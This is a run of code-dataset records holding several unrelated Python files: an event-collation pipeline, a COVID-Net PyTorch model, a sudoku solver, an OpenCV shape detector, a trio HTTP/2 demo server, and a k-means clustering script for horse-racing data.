ExitEvent, None]) -> Union[FinalizedEvent, None]:\n \"\"\"Recursively creates finalized events based on an EnterEvent | ExitEvent\n\n :param event: The event to recursively create a finalized event from\n :return: Returns a finalized event based on the provided enter/exit event\n \"\"\"\n\n # If we reach the end of our recursion, return None because this will set the finalized event `following_event` member as None, which will indicate the end of a chain\n if event == None: \n return None\n\n # Get the list of events\n events = event.events\n\n # Return a finalized event\n return FinalizedEvent(\n id=event.id,\n start_time=events[0].timestamp,\n end_time=events[len(events) - 1].timestamp,\n data=events,\n # We only want to set a following event, if the `event` is an `ExitEvent`. Otherwise we want it to be None. We will use the exit event's first related event as the following event\n following_event=(internal_finalize_event(cast(ExitEvent, event).related_events[0]) if isinstance(event, ExitEvent) else None)\n )\n\ndef finalize_exit_events(exit_events: List[ExitEvent]) -> List[FinalizedEvent]:\n \"\"\"Finalizes exit events to be used for the dev tools and when combining clips\n\n :param exit_events: The array of exitEvents to finalize\n :return: Returns the finalized versions of all of the provided exit events \n \"\"\"\n\n # Create our array of finalized events\n final_events: List[FinalizedEvent] = list()\n\n # Loop through all of the exit events\n for exit_event in exit_events:\n \n\n # Create the finalized events\n finalized = internal_finalize_event(exit_event)\n \n # finalized will never really be None, but this is just to get around the python type checker\n if finalized != None:\n final_events.append(finalized)\n\n return final_events\n\ndef related_event_isolator_pipeline(exit_events: List[ExitEvent]) -> List[FinalizedEvent]:\n \"\"\"Isolates related events and finalizes them\n\n :param exit_events: The array of exit events which will be finalized\n :return: Returns the finalized events \n \"\"\"\n\n # Loop through all of the exit events starting from the end\n for i in range(len(exit_events) - 1, -1, -1):\n current_exit_event = exit_events[i]\n\n # Loop through all of the related events attached to the currentExitEvent\n for j in range(0, len(current_exit_event.related_events)):\n current_related_event = current_exit_event.related_events[j]\n\n # Loop through all of the exit events that follow the currentExitEvent\n #\n # Here we will attempt to chain any exit events following currentExitEvent to currentRelatedEvent\n for k in range(i + 1, len(exit_events)):\n other_exit_event = exit_events[k]\n\n if can_collate_events(current_related_event, other_exit_event):\n # If the currentRelatedEvent and the otherExitEvent can be collated, as in the currentRelatedEvent and otherExitEvent reasonably follow a pattern \n # that looks like they are related.\n\n # Then do a collation between the two\n exit_events[i].related_events[j] = do_collate_enter_and_exit(current_related_event, other_exit_event)\n\n # And remove the extraneous exit event\n del exit_events[k]\n\n # Nothing more to do with any other following exit events so we will break\n break\n\n elif events_are_the_same(current_related_event, other_exit_event):\n # If the currentRelatedEvent and the otherExitEvent are the same, as in they are literally the same event\n\n # Then just set the related event as otherExitEvent (so that it has any relatedEvents that are attached to otherExitEvent)\n exit_events[i].related_events[j] = other_exit_event\n\n # And remove the extraneous exit event\n del exit_events[k]\n\n # Nothing more to do with any other following exit events so we will break\n break\n\n\n # Finalize the exit events\n res = finalize_exit_events(exit_events)\n\n # Then return our data\n return res\n\n\n","repo_name":"RhombusSystems/rhombus-api-examples-python","sub_path":"VideoStitcher/pipeline/related_event_isolator_pipeline.py","file_name":"related_event_isolator_pipeline.py","file_ext":"py","file_size_in_byte":4651,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"42185165185","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torchvision import models\n\n\nclass Flatten(nn.Module):\n def forward(self, input):\n return input.view(input.size(0), -1)\n\n\nclass PEXP(nn.Module):\n def __init__(self, n_input, n_out):\n super(PEXP, self).__init__()\n \"\"\"\n • First-stage Projection: 1×1 convolutions for projecting input features to a lower dimension,\n\n • Expansion: 1×1 convolutions for expanding features\n to a higher dimension that is different than that of the\n input features,\n\n\n • Depth-wise Representation: efficient 3×3 depthwise convolutions for learning spatial characteristics to\n minimize computational complexity while preserving\n representational capacity,\n\n • Second-stage Projection: 1×1 convolutions for projecting features back to a lower dimension, and\n\n • Extension: 1×1 convolutions that finally extend channel dimensionality to a higher dimension to produce\n the final features.\n \n \"\"\"\n\n self.network = nn.Sequential(\n nn.Conv2d(in_channels=n_input,\n out_channels=n_input // 2,\n kernel_size=1),\n nn.Conv2d(\n in_channels=n_input // 2,\n out_channels=int(3 * n_input / 4),\n kernel_size=1,\n ),\n nn.Conv2d(\n in_channels=int(3 * n_input / 4),\n out_channels=int(3 * n_input / 4),\n kernel_size=3,\n groups=int(3 * n_input / 4),\n padding=1,\n ),\n nn.Conv2d(\n in_channels=int(3 * n_input / 4),\n out_channels=n_input // 2,\n kernel_size=1,\n ),\n nn.Conv2d(in_channels=n_input // 2,\n out_channels=n_out,\n kernel_size=1),\n )\n\n def forward(self, x):\n return self.network(x)\n\n\nclass CovidNet(nn.Module):\n def __init__(self, model=\"small\", num_classes=3):\n super(CovidNet, self).__init__()\n filters = {\n \"pexp1_1\": [64, 256],\n \"pexp1_2\": [256, 256],\n \"pexp1_3\": [256, 256],\n \"pexp2_1\": [256, 512],\n \"pexp2_2\": [512, 512],\n \"pexp2_3\": [512, 512],\n \"pexp2_4\": [512, 512],\n \"pexp3_1\": [512, 1024],\n \"pexp3_2\": [1024, 1024],\n \"pexp3_3\": [1024, 1024],\n \"pexp3_4\": [1024, 1024],\n \"pexp3_5\": [1024, 1024],\n \"pexp3_6\": [1024, 1024],\n \"pexp4_1\": [1024, 2048],\n \"pexp4_2\": [2048, 2048],\n \"pexp4_3\": [2048, 2048],\n }\n\n self.add_module(\n \"conv1\",\n nn.Conv2d(in_channels=3,\n out_channels=64,\n kernel_size=7,\n stride=2,\n padding=3),\n )\n for key in filters:\n\n if \"pool\" in key:\n self.add_module(key,\n nn.MaxPool2d(filters[key][0], filters[key][1]))\n else:\n self.add_module(key, PEXP(filters[key][0], filters[key][1]))\n\n if model == \"large\":\n\n self.add_module(\n \"conv1_1x1\",\n nn.Conv2d(in_channels=64, out_channels=256, kernel_size=1))\n self.add_module(\n \"conv2_1x1\",\n nn.Conv2d(in_channels=256, out_channels=512, kernel_size=1))\n self.add_module(\n \"conv3_1x1\",\n nn.Conv2d(in_channels=512, out_channels=1024, kernel_size=1),\n )\n self.add_module(\n \"conv4_1x1\",\n nn.Conv2d(in_channels=1024, out_channels=2048, kernel_size=1),\n )\n\n self.__forward__ = self.forward_large_net\n else:\n self.__forward__ = self.forward_small_net\n self.add_module(\"flatten\", Flatten())\n self.add_module(\"fc1\", nn.Linear(7 * 7 * 2048, 1024))\n\n self.add_module(\"fc2\", nn.Linear(1024, 256))\n self.add_module(\"classifier\", nn.Linear(256, num_classes))\n\n def forward(self, x):\n return self.__forward__(x)\n\n def forward_large_net(self, x):\n x = F.max_pool2d(F.relu(self.conv1(x)), 2)\n out_conv1_1x1 = self.conv1_1x1(x)\n\n pepx11 = self.pexp1_1(x)\n pepx12 = self.pexp1_2(pepx11 + out_conv1_1x1)\n pepx13 = self.pexp1_3(pepx12 + pepx11 + out_conv1_1x1)\n\n out_conv2_1x1 = F.max_pool2d(\n self.conv2_1x1(pepx12 + pepx11 + pepx13 + out_conv1_1x1), 2)\n\n pepx21 = self.pexp2_1(\n F.max_pool2d(pepx13, 2) + F.max_pool2d(pepx11, 2) +\n F.max_pool2d(pepx12, 2) + F.max_pool2d(out_conv1_1x1, 2))\n pepx22 = self.pexp2_2(pepx21 + out_conv2_1x1)\n pepx23 = self.pexp2_3(pepx22 + pepx21 + out_conv2_1x1)\n pepx24 = self.pexp2_4(pepx23 + pepx21 + pepx22 + out_conv2_1x1)\n\n out_conv3_1x1 = F.max_pool2d(\n self.conv3_1x1(pepx22 + pepx21 + pepx23 + pepx24 + out_conv2_1x1),\n 2)\n\n pepx31 = self.pexp3_1(\n F.max_pool2d(pepx24, 2) + F.max_pool2d(pepx21, 2) +\n F.max_pool2d(pepx22, 2) + F.max_pool2d(pepx23, 2) +\n F.max_pool2d(out_conv2_1x1, 2))\n pepx32 = self.pexp3_2(pepx31 + out_conv3_1x1)\n pepx33 = self.pexp3_3(pepx31 + pepx32 + out_conv3_1x1)\n pepx34 = self.pexp3_4(pepx31 + pepx32 + pepx33 + out_conv3_1x1)\n pepx35 = self.pexp3_5(pepx31 + pepx32 + pepx33 + pepx34 +\n out_conv3_1x1)\n pepx36 = self.pexp3_6(pepx31 + pepx32 + pepx33 + pepx34 + pepx35 +\n out_conv3_1x1)\n\n out_conv4_1x1 = F.max_pool2d(\n self.conv4_1x1(pepx31 + pepx32 + pepx33 + pepx34 + pepx35 +\n pepx36 + out_conv3_1x1),\n 2,\n )\n\n pepx41 = self.pexp4_1(\n F.max_pool2d(pepx31, 2) + F.max_pool2d(pepx32, 2) +\n F.max_pool2d(pepx32, 2) + F.max_pool2d(pepx34, 2) +\n F.max_pool2d(pepx35, 2) + F.max_pool2d(pepx36, 2) +\n F.max_pool2d(out_conv3_1x1, 2))\n pepx42 = self.pexp4_2(pepx41 + out_conv4_1x1)\n pepx43 = self.pexp4_3(pepx41 + pepx42 + out_conv4_1x1)\n flattened = self.flatten(pepx41 + pepx42 + pepx43 + out_conv4_1x1)\n\n fc1out = F.relu(self.fc1(flattened))\n fc2out = F.relu(self.fc2(fc1out))\n logits = self.classifier(fc2out)\n return logits\n\n def forward_small_net(self, x):\n x = F.max_pool2d(F.relu(self.conv1(x)), 2)\n\n pepx11 = self.pexp1_1(x)\n pepx12 = self.pexp1_2(pepx11)\n pepx13 = self.pexp1_3(pepx12 + pepx11)\n\n pepx21 = self.pexp2_1(\n F.max_pool2d(pepx13, 2) + F.max_pool2d(pepx11, 2) +\n F.max_pool2d(pepx12, 2))\n pepx22 = self.pexp2_2(pepx21)\n pepx23 = self.pexp2_3(pepx22 + pepx21)\n pepx24 = self.pexp2_4(pepx23 + pepx21 + pepx22)\n\n pepx31 = self.pexp3_1(\n F.max_pool2d(pepx24, 2) + F.max_pool2d(pepx21, 2) +\n F.max_pool2d(pepx22, 2) + F.max_pool2d(pepx23, 2))\n pepx32 = self.pexp3_2(pepx31)\n pepx33 = self.pexp3_3(pepx31 + pepx32)\n pepx34 = self.pexp3_4(pepx31 + pepx32 + pepx33)\n pepx35 = self.pexp3_5(pepx31 + pepx32 + pepx33 + pepx34)\n pepx36 = self.pexp3_6(pepx31 + pepx32 + pepx33 + pepx34 + pepx35)\n\n pepx41 = self.pexp4_1(\n F.max_pool2d(pepx31, 2) + F.max_pool2d(pepx32, 2) +\n F.max_pool2d(pepx32, 2) + F.max_pool2d(pepx34, 2) +\n F.max_pool2d(pepx35, 2) + F.max_pool2d(pepx36, 2))\n pepx42 = self.pexp4_2(pepx41)\n pepx43 = self.pexp4_3(pepx41 + pepx42)\n flattened = self.flatten(pepx41 + pepx42 + pepx43)\n\n fc1out = F.relu(self.fc1(flattened))\n fc2out = F.relu(self.fc2(fc1out))\n logits = self.classifier(fc2out)\n return logits\n\n\ndef COVIDNet(num_classes=3):\n return CovidNet()\n\n\ndef ResNet18_COVID(num_classes=3):\n net = models.resnet18(pretrained=True)\n net.fc = nn.Linear(512, num_classes)\n return net\n","repo_name":"Princeton-SysML/GradAttack","sub_path":"gradattack/models/covidmodel.py","file_name":"covidmodel.py","file_ext":"py","file_size_in_byte":8225,"program_lang":"python","lang":"en","doc_type":"code","stars":159,"dataset":"github-code","pt":"54"} +{"seq_id":"6577799279","text":"def print_board(bo):\n\tfor i in range(len(bo)):\n\t\tif i % 3 == 0 and i != 0:\n\t\t\tprint('- - - - - - - - - - - ')\n\n\t\tfor j in range(len(bo[0])):\n\t\t\tif j % 3 == 0 and j != 0:\n\t\t\t\tprint(\"|\", end =' ')\n\n\t\t\tif j == 8:\n\t\t\t\tprint(bo[i][j])\n\n\t\t\telse:\n\t\t\t\tprint(bo[i][j],'', end = '')\n\ndef find_empty(bo):\n\tfor i, row in enumerate(bo):\n\t\tfor j, val in enumerate(row):\n\t\t\tif val == 0:\n\t\t\t\treturn (i, j) #(row, column)\n\n\treturn None\n\ndef valid(bo, num, pos):\n\t#row\n\tfor i in range(len(bo[0])):\n\t\tif bo[pos[0]][i] == num and pos[1] != i:\n\t\t\treturn False\n\n\t#column\n\tfor i in range(len(bo)):\n\t\tif bo[i][pos[1]] == num and pos[0] != i:\n\t\t\treturn False\n\n\t#box\n\tbox_row = pos[0]//3\n\tbox_col = pos[1]//3\n\t\n\tfor i in range(box_row * 3, box_row * 3 + 3):\n\t\tfor j in range(box_col * 3, box_col * 3 + 3):\n\t\t\tif bo[i][j] == num and pos != (i, j):\n\t\t\t\treturn False\n\n\treturn True\n\ndef solve(bo):\n\tempty = find_empty(bo)\n\tif not empty:\n\t\treturn True\n\telse:\n\t\trow, col = empty\n\n\tfor i in range(1, 10):\n\t\tif valid(bo, i, (row, col)):\n\t\t\tbo[row][col] = i\n\n\t\t\tif solve(bo):\n\t\t\t\treturn True\n\n\t\t\tbo[row][col] = 0\n\n\treturn False\n\ndef main():\n\tprint_board(board)\n\tprint('\\n\\n')\n\tsolve(board)\n\tprint_board(board)\n\nif __name__ == '__main__':\n\tboard = [\n\t\t[5, 3, 0, 0, 7, 0, 0, 0, 0],\n\t\t[6, 0, 0, 1, 9, 5, 0, 0, 0],\n\t\t[0, 9, 8, 0, 0, 0, 0, 6, 0],\n\t\t[8, 0, 0, 0, 6, 0, 0, 0, 3],\n\t\t[4, 0, 0, 8, 0, 3, 0, 0, 1],\n\t\t[7, 0, 0, 0, 2, 0, 0, 0, 6],\n\t\t[0, 6, 0, 0, 0, 0, 2, 8, 0],\n\t\t[0, 0, 0, 4, 1, 9, 0, 0, 5],\n\t\t[0, 0, 0, 0, 8, 0, 0, 7, 9]\n\t]\n\tmain()","repo_name":"bhuvankumar42/testing","sub_path":"sudoku.py","file_name":"sudoku.py","file_ext":"py","file_size_in_byte":1502,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"4006826273","text":"import cv2 as cv\r\nimport imutils\r\nfrom PIL import Image\r\nimport math\r\n\r\n\r\nclass ShapeDetector:\r\n\r\n global H_High\r\n global H_Low\r\n global S_High\r\n global S_Low\r\n global V_High\r\n global V_Low\r\n\r\n def DistanceTest(ImgCap, shape):\r\n\r\n KNOWN_DISTANCE = 24.0\r\n\r\n if (shape == \"rectangle\"):\r\n #load rectangle image\r\n img = cv.imread(\"\")\r\n KNOWN_WIDTH = ...\r\n marker = ShapeDetector.find_marker(img)\r\n elif (shape == \"square\"):\r\n # load square image\r\n img = cv.imread(\"\")\r\n KNOWN_WIDTH = ...\r\n marker = ShapeDetector.find_marker(img)\r\n elif (shape == \"triangle\"):\r\n # load triangle image\r\n img = cv.imread(\"\")\r\n KNOWN_WIDTH = ...\r\n marker = ShapeDetector.find_marker(img)\r\n elif (shape == \"pentagon\"):\r\n # load pentagon image\r\n img = cv.imread(\"\")\r\n KNOWN_WIDTH = ...\r\n marker = ShapeDetector.find_marker(img)\r\n elif (shape == \"star\"):\r\n # load star image\r\n img = cv.imread(\"\")\r\n KNOWN_WIDTH = ...\r\n marker = ShapeDetector.find_marker(img)\r\n\r\n focalLength = (marker[1][0] * KNOWN_DISTANCE) / KNOWN_WIDTH\r\n\r\n marker = ShapeDetector.find_marker(ImgCap)\r\n\r\n inches = ShapeDetector.distance_to_camera(KNOWN_WIDTH, focalLength, marker[1][0])\r\n\r\n return inches\r\n\r\n def find_marker(image, shape):\r\n # convert the image to grayscale, blur it, and detect edges\r\n gray = cv.cvtColor(image, cv.COLOR_BGR2GRAY)\r\n gray = cv.GaussianBlur(gray, (5, 5), 0)\r\n edged = cv.Canny(gray, 35, 125)\r\n\r\n # find the contours in the edged image and keep the largest one;\r\n # we'll assume that this is our piece of paper in the image\r\n cnts = cv.findContours(edged.copy(), cv.RETR_LIST, cv.CHAIN_APPROX_SIMPLE)\r\n cnts = cnts[0] if imutils.is_cv2() else cnts[1]\r\n c = max(cnts, key=cv.contourArea)\r\n\r\n # compute the bounding box of the of the paper region and return it\r\n return cv.minAreaRect(c)\r\n\r\n def distance_to_camera(knownWidth, focalLength, perWidth):\r\n # compute and return the distance from the maker to the camera\r\n return (knownWidth * focalLength) / perWidth\r\n\r\n def ImagewLines(ImgCap):#draws lines from the color binary to be used in shape reconition\r\n grad_x = cv.Sobel(ImgCap, cv.CV_16S, 1, 0, ksize=3, scale=1, delta=0, borderType=cv.BORDER_DEFAULT)\r\n grad_y = cv.Sobel(ImgCap, cv.CV_16S, 0, 1, ksize=3, scale=1, delta=0, borderType=cv.BORDER_DEFAULT)\r\n\r\n abs_grad_x = cv.convertScaleAbs(grad_x)\r\n abs_grad_y = cv.convertScaleAbs(grad_y)\r\n\r\n grad = cv.addWeighted(abs_grad_x, 0.5, abs_grad_y, 0.5, 0)\r\n\r\n cnts = cv.findContours(grad.copy(), cv.RETR_LIST, cv.CHAIN_APPROX_SIMPLE)\r\n cnts = cnts[0] if imutils.is_cv2() else cnts[1]\r\n c = max(cnts, key=cv.contourArea)\r\n #cv.imshow(\"image\", c)\r\n return c\r\n\r\n def ShapeDiscover(ImageCap, shape):\r\n\r\n resized = imutils.resize(ImageCap, width= 300)\r\n ratio = ImageCap.shape[0] / float(resized.shape[0])\r\n\r\n contours = cv.findContours(resized, cv.RETR_EXTERNAL , cv.CHAIN_APPROX_SIMPLE)\r\n\r\n contours = contours[0] if imutils.is_cv2() else contours[1]\r\n\r\n for c in contours:\r\n shapeName = \"Unidentified\"\r\n perimeter = cv.arcLength(c, True)\r\n approx = cv.approxPolyDP(c, 0.04 * perimeter, True)\r\n\r\n if len(approx) == 3:\r\n shapeName = \"triangle\"\r\n\r\n elif len(approx) == 4:\r\n (x, y, l, h) = cv.boundingRect(approx)\r\n ar = l / float(h)\r\n\r\n if ar >= 0.95 and ar <= 1.05:\r\n shapeName = \"square\"\r\n else:\r\n shapeName = \"rectangle\"\r\n\r\n elif len(approx) == 5:\r\n shapeName = \"pentagon\"\r\n\r\n elif len(approx) == 10:\r\n shapeName = \"star\"\r\n\r\n else:\r\n shapeName = \"circle\"\r\n\r\n if (shape == shapeName):\r\n\r\n M = cv.moments(c)\r\n cX = int((M[\"m10\"] / M[\"m00\"]) * ratio)\r\n cY = int((M[\"m01\"] / M[\"m00\"]) * ratio)\r\n\r\n c = c.astype(\"float\")\r\n c *= ratio\r\n c = c.astype(\"int\")\r\n #cv.drawContours(ImageCap, [c], -1, (0, 255, 0), 1)\r\n\r\n return cX, cY\r\n\r\n #cv.putText(image, shape, (cX, cY), cv.FONT_HERSHEY_SIMPLEX, 0.5, (255, 0, 0), 2)\r\n\r\n #print(shape)\r\n\r\n #cv.imshow(\"Image\", image)\r\n #key = cv.waitKey(0)\r\n #if key == ord('q') or key == 27:\r\n #cv.destroyAllWindows()\r\n #print(\"Exiting\")\r\n #break\r\n\r\n def FrameCapure(self):\r\n cap = cv.VideoCapture(0)\r\n ret, frame = cap.read()\r\n if frame is None:\r\n print(\"No camera found\")\r\n cap.release()\r\n\r\n\r\n return frame\r\n\r\n def ColorShapeReader(color):\r\n S_High = 255\r\n S_Low = 102\r\n V_High = 255\r\n V_Low = 51\r\n if color.lower() == 'red':\r\n H_High = 13\r\n H_Low = 0\r\n elif color.lower() == 'blue':\r\n H_High = 115\r\n H_Low = 46\r\n elif color.lower() == 'green':\r\n H_High = 95\r\n H_Low = 30\r\n S_High = 167\r\n S_Low = 51\r\n V_High = 174\r\n V_Low = 52\r\n elif color.lower() == 'yellow':\r\n H_High = 41\r\n H_Low = 26\r\n elif color.lower() == 'purple':\r\n H_High = 139\r\n H_Low = 107\r\n S_High = 255\r\n S_Low = 54\r\n V_High = 235\r\n V_Low = 46\r\n\r\n def ImagewColor(frame): # filters colors and then uses the gaussian blur to help with errors\r\n frame_HSV = cv.cvtColor(frame, cv.COLOR_BGR2HSV)\r\n frame_threshold = cv.inRange(frame_HSV, (H_Low, S_Low, V_Low), (H_High, S_High, V_High))\r\n frame_blur = cv.GaussianBlur(frame_threshold, (5, 5), 0)\r\n return frame_blur\r\n\r\n def FindCenterImage(cap):\r\n image = Image.open(cap)\r\n width, height = image.size\r\n\r\n centerY = height / 2;\r\n centerX = width / 2;\r\n\r\n return centerX, centerY\r\n\r\n def AdjustTarget(distance):\r\n heightDiff = 0\r\n initalVelocity = 10.15\r\n gravity = 9.8\r\n distance = distance * 0.3048\r\n\r\n angle = math.atan((2*initalVelocity*heightDiff)/ (gravity * distance))\r\n #transition angle to times we have to go up\r\n writetime = (angle * 10)/ 45\r\n return writetime\r\n\r\n\r\n","repo_name":"venom8898/intern-project","sub_path":"ShapeDetector.py","file_name":"ShapeDetector.py","file_ext":"py","file_size_in_byte":6750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"271591799","text":"#!/usr/bin/env python3\nimport sys\nimport json\nimport collections\n\nimport trio\nimport h2.config\nimport h2.connection\nimport h2.events\n\n\nBUFFER_SIZE=65536\n\n\nasync def handle(stream):\n config = h2.config.H2Configuration(client_side=False, header_encoding=\"utf-8\")\n conn = h2.connection.H2Connection(config=config)\n\n conn.initiate_connection()\n await stream.send_all(conn.data_to_send())\n\n while True:\n data = await stream.receive_some(BUFFER_SIZE)\n if not data:\n return\n events = conn.receive_data(data)\n for event in events:\n if isinstance(event, h2.events.RequestReceived):\n data = b\"Hello, world\"\n response_headers = (\n (':status', '200'),\n ('content-length', str(len(data))),\n )\n conn.send_headers(event.stream_id, response_headers)\n conn.send_data(event.stream_id, data, end_stream=True)\n elif isinstance(event, h2.events.ConnectionTerminated):\n await stream.send_all(conn.data_to_send())\n return\n await stream.send_all(conn.data_to_send())\n\n\nasync def main(port):\n await trio.serve_tcp(handle, port)\n\nif __name__ == \"__main__\":\n port = int(sys.argv[1])\n print(\"Try: $ curl --tlsv1.2 --http2 -k https://localhost:{}/path -d'data'\"\n .format(port))\n print(\"Or open a browser to https://localhost:{}/ and accept all the warnings\"\n .format(port))\n trio.run(main, port)\n","repo_name":"standy66/h2-async-benchmarks","sub_path":"trio_server.py","file_name":"trio_server.py","file_ext":"py","file_size_in_byte":1526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"29007947265","text":"import pandas as pd # データフレームワーク処理のライブラリをインポート\nimport matplotlib.pyplot as plt\nfrom pandas.tools import plotting # 高度なプロットを行うツールのインポート\nfrom sklearn.cluster import KMeans # K-means クラスタリングをおこなう\nfrom sklearn.decomposition import PCA #主成分分析器\n#from mpl_toolkits.mplot3d import Axes3D\n#from PIL import Image\n#from PIL import ImageOps\nimport numpy as np\n\n\ndf = pd.read_csv(\"keiba100_std.csv\", sep=',', na_values=\".\") # データの読み込みSchoolScore.csv keiba2.csv\ndf.head() #データの確認\ndf.iloc[:, 1:].head() #解析に使うデータは2列目以降\n#print(df[df.columns[1]]) ############ print(df[df.columns[1]]) #########\nprint(df.iloc[:, 1:])\n\nplotting.scatter_matrix(df[df.columns[1:]], figsize=(6,6), alpha=0.8, diagonal='kde') #全体像を眺める\nplt.savefig('k-means/keiba100/keiba_std2_scatter_plot4.jpg')\nplt.pause(1)\nplt.close()\n\ndistortions = []\ndistortions1 = []\nfor i in range(1,21): # 1~20クラスタまで一気に計算 \n km = KMeans(n_clusters=i,\n init='k-means++', # k-means++法によりクラスタ中心を選択\n n_init=10,\n max_iter=300,\n random_state=0)\n km.fit(df.iloc[:, 1:]) # クラスタリングの計算を実行\n distortions.append(km.inertia_) # km.fitするとkm.inertia_が得られる\n UF = km.inertia_ + i*np.log(20)*5e2 # km.inertia_ + kln(size)\n distortions1.append(UF) \n \nfig=plt.figure(figsize=(12, 10))\nax1 = fig.add_subplot(311)\nax2 = fig.add_subplot(312)\nax3 = fig.add_subplot(313)\nax1.plot(range(1,21),distortions,marker='o')\nax1.set_xlabel('Number of clusters')\nax1.set_ylabel('Distortion')\n#ax1.yscale('log')\nax2.plot(range(1,21),distortions,marker='o')\nax2.set_xlabel('Number of clusters')\nax2.set_ylabel('Distortion')\nax2.set_yscale('log')\nax3.plot(range(1,21),distortions1,marker='o')\nax3.set_xlabel('Number of clusters')\nax3.set_ylabel('Distortion+klog')\nax3.set_yscale('log')\nplt.pause(1)\nplt.savefig('k-means/keiba100/keiba_std2_Distortion.jpg')\nplt.close()\n\ns=15\nkm = KMeans(n_clusters=s,\n init='k-means++', # k-means++法によりクラスタ中心を選択\n n_init=10,\n max_iter=300,\n random_state=0)\ny_km=km.fit_predict(df.iloc[:, 1:])\n\n# この例では s個のグループに分割 (メルセンヌツイスターの乱数の種を 10 とする)\nkmeans_model = KMeans(n_clusters=s, random_state=10).fit(df.iloc[:, 1:])\n\n# 分類結果のラベルを取得する\nlabels = kmeans_model.labels_\nprint(labels) ################## print(labels) ###################\n# それぞれに与える色を決める。\ncolor_codes = {0:'#00FF00', 1:'#FF0000', 2:'#0000FF', 3:'#00FFFF' , 4:'#007777', 5:'#f0FF00', 6:'#FF0600', 7:'#0070FF', 8:'#08FFFF' , 9:'#077777',10:'#177777', 11:'#277777', 12:'#377777', 13:'#477777' , 14:'#577777'}\n# サンプル毎に色を与える。\ncolors = [color_codes[x] for x in labels]\n#主成分分析の実行\npca = PCA()\npca.fit(df.iloc[:, 1:])\nPCA(copy=True, n_components=None, whiten=False)\nv_pca0 = pca.components_[0]\nv_pca1 = pca.components_[1]\nv_pca2 = pca.components_[2]\n \nprint(\"v_pca0={},v_pca1={},v_pca2={}\".format(v_pca0,v_pca1,v_pca2))\n\n# データを主成分空間に写像 = 次元圧縮\nfeature = pca.transform(df.iloc[:, 1:])\nx,y = feature[:, 0], feature[:, 1]\nprint(x,y,feature[:, 2]) ################## print(x,y); x,y = feature[:, 0], feature[:, 1] ###################\nX=np.c_[x,y]\n\nplt.figure(figsize=(6, 6))\nfor kx, ky, name in zip(x, y, df.iloc[:, 0]):\n plt.text(kx, ky, name, alpha=0.8, size=10)\nplt.scatter(x, y, alpha=0.8, color=colors)\n#plt.scatter(kmeans_model.cluster_centers_[:,0], kmeans_model.cluster_centers_[:,1], c = \"b\", marker = \"*\", s = 50)\nplt.title(\"Principal Component Analysis\")\nplt.xlabel(\"The first principal component score\")\nplt.ylabel(\"The second principal component score\")\nplt.savefig('k-means/keiba100/pca/keiba_std2_PCA12_plotSn'+str(s)+'.jpg')\nplt.pause(1)\nplt.close()\n\n\nfrom sklearn.metrics import silhouette_samples\nfrom matplotlib import cm\n\ncluster_labels = np.unique(y_km) # y_kmの要素の中で重複を無くす s=6 ⇒ [0 1 2 3 4 5]\nn_clusters=cluster_labels.shape[0] # 配列の長さを返す。つまりここでは n_clustersで指定したsとなる\n\n# シルエット係数を計算\nsilhouette_vals = silhouette_samples(df.iloc[:, 1:],y_km,metric='euclidean') # サンプルデータ, クラスター番号、ユークリッド距離でシルエット係数計算\ny_ax_lower, y_ax_upper= 0,0\nyticks = []\n\nfor i,c in enumerate(cluster_labels):\n c_silhouette_vals = silhouette_vals[y_km==c] # cluster_labelsには 0,1,2が入っている(enumerateなのでiにも0,1,2が入ってる(たまたま))\n c_silhouette_vals.sort()\n y_ax_upper += len(c_silhouette_vals) # サンプルの個数をクラスターごとに足し上げてy軸の最大値を決定\n color = cm.jet(float(i)/n_clusters) # 色の値を作る\n plt.barh(range(y_ax_lower,y_ax_upper), # 水平の棒グラフを描画(底辺の範囲を指定)\n c_silhouette_vals, # 棒の幅(1サンプルを表す)\n height=1.0, # 棒の高さ\n edgecolor='none', # 棒の端の色\n color=color) # 棒の色\n yticks.append((y_ax_lower+y_ax_upper)/2) # クラスタラベルの表示位置を追加\n y_ax_lower += len(c_silhouette_vals) # 底辺の値に棒の幅を追加\n\nsilhouette_avg = np.mean(silhouette_vals) # シルエット係数の平均値\nplt.axvline(silhouette_avg,color=\"red\",linestyle=\"--\") # 係数の平均値に破線を引く \nplt.yticks(yticks,cluster_labels + 1) # クラスタレベルを表示\nplt.ylabel('Cluster')\nplt.xlabel('silhouette coefficient')\nplt.savefig('k-means/keiba100/keiba_std2_silhouette_avg'+str(s)+'.jpg')\nplt.pause(1)\nplt.close()\n\n# この例では 3 つのグループに分割 (メルセンヌツイスターの乱数の種を 10 とする)\n#kmeans_model = KMeans(n_clusters=s, random_state=10).fit(df.iloc[:, 1:])\n# 分類結果のラベルを取得する\nlabels = cluster_labels #kmeans_model.labels_\n# 分類結果を確認\nprint(labels) ################# print(labels) ############\n# サンプル毎に色を与える。\ncolors = [color_codes[x] for x in labels]\n\n# 色分けした Scatter Matrix を描く。\nplotting.scatter_matrix(df[df.columns[1:]], figsize=(6,6),c=colors, diagonal='kde', alpha=0.8) #データのプロット\nplt.savefig('k-means/keiba100/keiba_std2_scatter_color_plot'+str(s)+'.jpg')\nplt.pause(1)\nplt.close()\n\"\"\"\nimport seaborn as sns\npg = sns.pairplot(df)\n\nprint(type(pg))\npg.savefig('k-means/seaborn_pairplot_default.png')\n\"\"\"\nfig, axes = plt.subplots(nrows=13, ncols=13, figsize=(18, 18),sharex=False,sharey=False)\nfor i in range(1,14):\n for j in range(1,14):\n ax = axes[i-1,j-1]\n x_data=df[df.columns[i]]\n y_data=df[df.columns[j]]\n #print(x_data)\n ax.scatter(x_data,y_data,c=colors)\n cor=np.corrcoef(x_data,y_data)[0, 1]\n ax.set_title(\"{:.3f}\".format(cor))\n \n\nfig.savefig('k-means/keiba100/pandas_std2_iris_line_axes'+str(s)+'.png')\n\n\"\"\"\n#主成分分析の実行\npca = PCA()\npca.fit(df.iloc[:, 1:])\nPCA(copy=True, n_components=None, whiten=False)\n\n# データを主成分空間に写像 = 次元圧縮\nfeature = pca.transform(df.iloc[:, 1:])\nx,y = feature[:, 0], feature[:, 1]\nprint(x,y)\nX=np.c_[x,y]\n#print(df.iloc[:, 0])\n\"\"\"\nkmeans_model = KMeans(n_clusters=s, 